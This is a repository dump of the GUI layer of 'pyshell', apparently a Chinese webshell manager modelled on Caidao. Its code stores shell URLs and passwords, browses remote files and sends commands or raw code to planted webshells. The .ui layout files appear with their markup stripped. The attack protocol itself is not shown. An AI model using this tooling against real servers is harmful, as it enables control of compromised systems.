@iscomplete 301 | def setresult(result): 302 | self.refresh() 303 | 304 | text, okPressed = QInputDialog.getText(self, "pyshell", "pls input new file name:", QLineEdit.Normal, " ") 305 | if okPressed and text.strip(): 306 | filename = self.ui.ComPath.currentText().strip() + self.linker.separator + text 307 | start_runnable(self.linker.new_file, setresult, filename=filename) 308 | 309 | def treeclicked(self, p): 310 | path = [p.text(0)] 311 | while True: 312 | parent = p.parent() 313 | if parent is None: 314 | break 315 | else: 316 | path.append(parent.text(0)) 317 | p = parent 318 | 319 | path.reverse() 320 | path = "".join(path) 321 | self.get_item_form_folder(path) 322 | -------------------------------------------------------------------------------- /view/import_shell_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-07-09 6 | 7 | from PyQt5 import uic 8 | from PyQt5.QtWidgets import QDialog, QFileDialog, QMessageBox 9 | 10 | from util import load_from_file, start_runnable 11 | 12 | __author__ = "img" 13 | __date__ = '2018/7/9' 14 | 15 | 16 | class import_shell_ui(QDialog): 17 | def __init__(self, parent): 18 | super(import_shell_ui, self).__init__(parent) 19 | self.ui = uic.loadUi("view/ui/import_shell.ui", self) 20 | self.main = parent 21 | self.ui.button.clicked.connect(self.open_file_dialog) 22 | self.ui.pushButton.clicked.connect(self.import_shell) 23 | 24 | def open_file_dialog(self): 25 | options = QFileDialog.Options() 26 | options |= QFileDialog.DontUseNativeDialog 27 | fileName, _ = QFileDialog.getOpenFileName(self, "QFileDialog.getOpenFileName()", "", 28 | "All Files (*);;Python Files (*.py)", options=options) 29 | if fileName: 30 | self.filename = fileName 31 | self.ui.lineEdit.setText(fileName) 32 | 33 | def import_shell(self): 34 | def result(num): 35 | QMessageBox.critical(self, 'pyshell', "添加完成,成功%s,失败%s" % (num[0], num[0] ^ num[1])) 36 | start_runnable(self.main.refresh_table_item, lambda x: x) 37 | 38 | separator = self.ui.lineEdit_2.text() 39 | start_runnable(load_from_file, result, filename=self.filename, separator=separator) 40 | -------------------------------------------------------------------------------- /view/main_view.py: -------------------------------------------------------------------------------- 1 | from PyQt5 import uic 2 | from PyQt5.QtCore import Qt 3 | from PyQt5.QtWidgets import QMainWindow, QAction, QTableWidget, QTableWidgetItem 4 | 5 | from model.db import db 6 | from util import get_location_from_domain, start_runnable 7 | 8 | 9 | class main_view(QMainWindow): 10 | def __init__(self, controller, parent=None): 11 | super(main_view, self).__init__(parent) 12 | self.ui = uic.loadUi("view/ui/main.ui", self) 13 | self.controller = controller 14 | self.controller.register_main(self) 15 | self.setWindowTitle('pyshell') # 设置标题 16 | self.ui.tabWidget.setTabText(0, "shell") # 设置标题 17 | self.ui.treeWidget.setHeaderLabels(['name', 'ID', 'Value']) 18 | self.ui.treeWidget.setColumnWidth(0, 150) # 设置宽度 1是列号 2是宽度 19 | self.ui.treeWidget.setColumnWidth(1, 0) # 设置宽度 1是列号 2是宽度 20 | self.ui.treeWidget.setHeaderHidden(True) # 取消标题 21 | self.tabWidget.setTabsClosable(True) 22 | self.statusBar.showMessage('欢迎使用pyshell', 10000) 23 | self.tabWidget.setTabsClosable(True) # 允许tab点击关闭 24 | 25 | self.__set_slot() 26 | self.createActions() 27 | self.tableWidget_ini() 28 | 29 | def display(self): 30 | self.ui.show() 31 | 32 | def __set_slot(self): 33 | # 右键响应设置 34 | self.tableWidget.setContextMenuPolicy(Qt.CustomContextMenu) 35 | self.setContextMenuPolicy(Qt.CustomContextMenu) 36 | self.tableWidget.customContextMenuRequested.connect(self.controller.tableWidget_menu) 37 | # 设置关闭tab 38 | self.tabWidget.tabCloseRequested.connect(self.controller.closeTab) 39 | self.ui.tableWidget.cellDoubleClicked.connect(self.controller.tableWidget_right) 40 | 41 | def createActions(self): # 加载菜单 42 | self.minimizeAction = QAction(u"最小化", self, triggered=self.hide) 43 | self.maximizeAction = QAction(u"最大化", self, triggered=self.showMaximized) 44 | self.restoreAction = QAction(u"还原", self, triggered=self.showNormal) 45 | 46 | def tableWidget_ini(self): 47 | self.db = db() 48 | self.tableWidget.setColumnCount(7) # 列 49 | self.tableWidget.setRowCount(0) # 行 len(node) 50 | self.tableWidget.setHorizontalHeaderLabels(['ID', '-', '网址', 'IP/物理位置', '备注', 'insert', 'update']) 51 | self.tableWidget.setColumnWidth(0, 0) # 设置表格的各列的宽度值 52 | self.tableWidget.setColumnWidth(1, 40) # 设置表格的各列的宽度值 53 | self.tableWidget.setColumnWidth(2, 300) # 设置表格的各列的宽度值 54 | self.tableWidget.setColumnWidth(3, 290) # 设置表格的各列的宽度值 55 | self.tableWidget.setColumnWidth(4, 90) # 设置表格的各列的宽度值 56 | self.tableWidget.setColumnWidth(5, 150) # 设置表格的各列的宽度值 57 | self.tableWidget.setColumnWidth(6, 150) # 设置表格的各列的宽度值 58 | self.tableWidget.setRowHeight(0, 23) 59 | self.tableWidget.setEditTriggers(QTableWidget.NoEditTriggers) # 设置表格的单元为只读属性,即不能编辑 60 | self.tableWidget.setSelectionBehavior(QTableWidget.SelectRows) # 点击选择是选择行//设置选中时为整行选中 61 | self.tableWidget.setAlternatingRowColors(True) # 还是只可以选择单行(单列) 62 | self.tableWidget.verticalHeader().hide() # 隐藏行头 63 | 64 | 65 | 66 | start_runnable(self.refresh_table_item, lambda x: x) 67 | 68 | 69 | def refresh_table_item(self): 70 | rows = db().getall() 71 | for row in rows: 72 | i = self.ui.tableWidget.rowCount() 73 | self.ui.tableWidget.insertRow(i) 74 | self.ui.tableWidget.setItem(i, 0, QTableWidgetItem(str(row.id))) 75 | self.ui.tableWidget.setItem(i, 1, QTableWidgetItem(row.types)) 76 | self.ui.tableWidget.setItem(i, 2, QTableWidgetItem(row.shell)) 77 | self.ui.tableWidget.setItem(i, 3, QTableWidgetItem(get_location_from_domain(row.shell))) 78 | self.ui.tableWidget.setItem(i, 4, QTableWidgetItem(row.remark)) 79 | self.ui.tableWidget.setItem(i, 5, QTableWidgetItem(row.createdtime)) 80 | self.ui.tableWidget.setItem(i, 6, QTableWidgetItem(row.updatetime)) 81 | -------------------------------------------------------------------------------- /view/self_exec_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-07-03 6 | from PyQt5 import uic 7 | from PyQt5.QtWidgets import QWidget 8 | 9 | from model.db import db 10 | from model.shells import Caidao 11 | from util import start_runnable 12 | 13 | __author__ = "img" 14 | __date__ = '2018/7/3' 15 | 16 | 17 | class self_exec_ui(QWidget): 18 | def __init__(self, id, parent): 19 | super(self_exec_ui, self).__init__(parent) 20 | self.main = parent # 主程序UI 21 | self.ui = uic.loadUi("view/ui/ShowEdit_shellManage.ui", self) 22 | self.main.tabWidget.addTab(self, "self_exec") 23 | self.main.tabWidget.setCurrentWidget(self) 24 | self.db = db() 25 | record = self.db.get(id) 26 | self.siteurl = record.shell 27 | self.sitepass = record.passwd 28 | self.ui.send_pushButton.clicked.connect(self.exc_code) 29 | self.init_linker() 30 | 31 | def init_linker(self): 32 | def start(): 33 | return Caidao.Caidao(self.siteurl, self.sitepass) 34 | 35 | def getresult(obj): 36 | self.linker = obj 37 | 38 | start_runnable(start, getresult) 39 | 40 | def exc_code(self): 41 | content = self.ui.textEdit.toPlainText() 42 | start_runnable(self.linker.raw, lambda x: self.ui.messages.setPlainText(x), data=content) 43 | -------------------------------------------------------------------------------- /view/ui/Edit_file.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Form 4 | 5 | 6 | 7 | 0 8 | 0 9 | 973 10 | 512 11 | 12 | 13 | 14 | Form 15 | 16 | 17 | 18 | 0 19 | 20 | 21 | 22 | 23 | 24 | 25 | 载入 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 保存 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /view/ui/ShowEdit_shellManage.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Form 4 | 5 | 6 | 7 | 0 8 | 0 9 | 707 10 | 495 11 | 12 | 13 | 14 | Form 15 | 16 | 17 | 18 | 0 19 | 20 | 21 | 0 22 | 23 | 24 | 25 | 26 | 0 27 | 28 | 29 | 30 | 31 | 32 | 33 | TextLabel 34 | 35 | 36 | 37 | 38 | 39 | 40 | 执行 41 | 42 | 43 | 44 | 45 | 46 | 47 | 清空 48 | 49 | 50 | 51 | 52 | 53 | 54 | 获取更多帮助 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | QLayout::SetMinAndMaxSize 67 | 68 | 69 | 0 70 | 71 | 72 | 5 73 | 74 | 75 | 0 76 | 77 | 78 | 79 | 80 | 81 | 0 82 | 40 83 | 84 | 85 | 86 | 87 | 0 88 | 40 89 | 90 | 91 | 92 | 93 | 16777215 94 | 200 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /view/ui/ShowFileManage.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Form 4 | 5 | 6 | 7 | 0 8 | 0 9 | 979 10 | 537 11 | 12 | 13 | 14 | 15 | 0 16 | 0 17 | 18 | 19 | 20 | Form 21 | 22 | 23 | 24 | 7 25 | 26 | 27 | 1 28 | 29 | 30 | 31 | 32 | 0 33 | 34 | 35 | QLayout::SetMaximumSize 36 | 37 | 38 | 39 | 40 | QLayout::SetNoConstraint 41 | 42 | 43 | 44 | 45 | QLayout::SetFixedSize 46 | 47 | 48 | 2 49 | 50 | 51 | 0 52 | 53 | 54 | 9 55 | 56 | 57 | 6 58 | 59 | 60 | 61 | 62 | 63 | 10 64 | 10 65 | 66 | 67 | 68 | 69 | 10 70 | 0 71 | 72 | 73 | 74 | 文件路径: 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 0 83 | 0 84 | 85 | 86 | 87 | 读取 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 100 101 | 0 102 | 103 | 104 | 105 | 106 | 230 107 | 16777215 108 | 109 | 110 | 111 | 112 | 1 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 0 122 | 1 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /view/ui/ShowcmdManage.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Form 4 | 5 | 6 | 7 | 0 8 | 0 9 | 1016 10 | 490 11 | 12 | 13 | 14 | Form 15 | 16 | 17 | 18 | 0 19 | 20 | 21 | 22 | 23 | 5 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 10 40 | 10 41 | 42 | 43 | 44 | 45 | 10 46 | 10 47 | 48 | 49 | 50 | 命令: 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 10 59 | 10 60 | 61 | 62 | 63 | 64 | 10 65 | 15 66 | 67 | 68 | 69 | 发送 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 10 82 | 10 83 | 84 | 85 | 86 | 87 | 10 88 | 10 89 | 90 | 91 | 92 | 参数1: 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 20 101 | 20 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 10 111 | 10 112 | 113 | 114 | 115 | 116 | 10 117 | 0 118 | 119 | 120 | 121 | 参数2: 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /view/ui/add_shell_ui.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Form 4 | 5 | 6 | 7 | 0 8 | 0 9 | 786 10 | 302 11 | 12 | 13 | 14 | Form 15 | 16 | 17 | 18 | 19 | 10 20 | 20 21 | 71 22 | 16 23 | 24 | 25 | 26 | URL地址: 27 | 28 | 29 | 30 | 31 | 32 | 80 33 | 10 34 | 471 35 | 31 36 | 37 | 38 | 39 | 40 | 41 | 42 | 560 43 | 20 44 | 41 45 | 16 46 | 47 | 48 | 49 | 密码: 50 | 51 | 52 | 53 | 54 | 55 | 30 56 | 60 57 | 41 58 | 16 59 | 60 | 61 | 62 | 配置: 63 | 64 | 65 | 66 | 67 | 68 | 80 69 | 50 70 | 691 71 | 161 72 | 73 | 74 | 75 | 76 | 77 | 78 | 30 79 | 230 80 | 41 81 | 16 82 | 83 | 84 | 85 | 备注: 86 | 87 | 88 | 89 | 90 | 91 | 80 92 | 220 93 | 691 94 | 31 95 | 96 | 97 | 98 | 99 | 100 | 101 | 10 102 | 260 103 | 151 104 | 31 105 | 106 | 107 | 108 | 109 | 110 | 111 | 190 112 | 260 113 | 131 114 | 31 115 | 116 | 117 | 118 | 119 | 120 | 121 | 350 122 | 260 123 | 131 124 | 31 125 | 126 | 127 | 128 | 129 | 130 | 131 | 650 132 | 250 133 | 121 134 | 41 135 | 136 | 137 | 138 | 添加 139 | 140 | 141 | 142 | 143 | 144 | 510 145 | 270 146 | 121 147 | 19 148 | 149 | 150 | 151 | 记录最后配置 152 | 153 | 154 | 155 | 156 | 157 | 600 158 | 10 159 | 81 160 | 31 161 | 162 | 163 | 164 | QLineEdit::Password 165 | 166 | 167 | 168 | 169 | 170 | 690 171 | 20 172 | 91 173 | 19 174 | 175 | 176 | 177 | 显示密码 178 | 179 | 180 | 181 | 182 | siteurl 183 | sitepass 184 | config 185 | remarks 186 | type_id 187 | script 188 | coding 189 | checkBox 190 | pushButton 191 | 192 | 193 | 194 | 195 | -------------------------------------------------------------------------------- /view/ui/export_shell.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Dialog 4 | 5 | 6 | 7 | 0 8 | 0 9 | 342 10 | 168 11 | 12 | 13 | 14 | Dialog 15 | 16 | 17 | 18 | 19 | 0 20 | 20 21 | 341 22 | 271 23 | 24 | 25 | 26 | 27 | 28 | 29 | 选择文件 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 分隔符 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 导出 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /view/ui/import_shell.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Dialog 4 | 5 | 6 | 7 | 0 8 | 0 9 | 328 10 | 173 11 | 12 | 13 | 14 | Dialog 15 | 16 | 17 | 18 | 19 | 20 | 导入 21 | 22 | 23 | 24 | 25 | 26 | 27 | 选择文件 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 249 36 | 16777215 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 分隔符 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /view/ui/main.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | MainWindow 4 | 5 | 6 | 7 | 0 8 | 0 9 | 1241 10 | 642 11 | 12 | 13 | 14 | 15 | 500 16 | 0 17 | 18 | 19 | 20 | XXXXXXX 21 | 22 | 23 | 24 | 25 | 16777215 26 | 16777215 27 | 28 | 29 | 30 | 31 | QLayout::SetMinAndMaxSize 32 | 33 | 34 | 2 35 | 36 | 37 | 2 38 | 39 | 40 | 2 41 | 42 | 43 | 2 44 | 45 | 46 | 2 47 | 48 | 49 | 0 50 | 51 | 52 | 53 | 54 | 55 | 56 | 0 57 | 58 | 59 | 60 | 61 | 62 | 0 63 | 0 64 | 65 | 66 | 67 | 0 68 | 69 | 70 | 71 | 1 72 | 73 | 74 | 75 | 0 76 | 77 | 78 | 0 79 | 80 | 81 | 0 82 | 83 | 84 | 0 85 | 86 | 87 | 0 88 | 89 | 90 | 91 | 92 | QLayout::SetNoConstraint 93 | 94 | 95 | 0 96 | 97 | 98 | 0 99 | 100 | 101 | 102 | 103 | 104 | 0 105 | 0 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 0 122 | 123 | 124 | 125 | 126 | 127 | 0 128 | 0 129 | 130 | 131 | 132 | 133 | 200 134 | 25 135 | 136 | 137 | 138 | <center>TODO List</center> 139 | 140 | 141 | Qt::AlignCenter 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 0 150 | 0 151 | 152 | 153 | 154 | 155 | 200 156 | 16777215 157 | 158 | 159 | 160 | 161 | 1 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 0 176 | 0 177 | 1241 178 | 26 179 | 180 | 181 | 182 | 183 | 文件 184 | 185 | 186 | 187 | 188 | 189 | 编辑 190 | 191 | 192 | 193 | 194 | 195 | 设置 196 | 197 | 198 | 199 | 200 | 201 | 帮助 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 退出 214 | 215 | 216 | true 217 | 218 | 219 | 220 | 221 | 添加webshell 222 | 223 | 224 | 225 | 226 | 设置参数 227 | 228 | 229 | 230 | 231 | 关于 232 | 233 | 234 | 235 | 236 | 237 | 238 | --------------------------------------------------------------------------------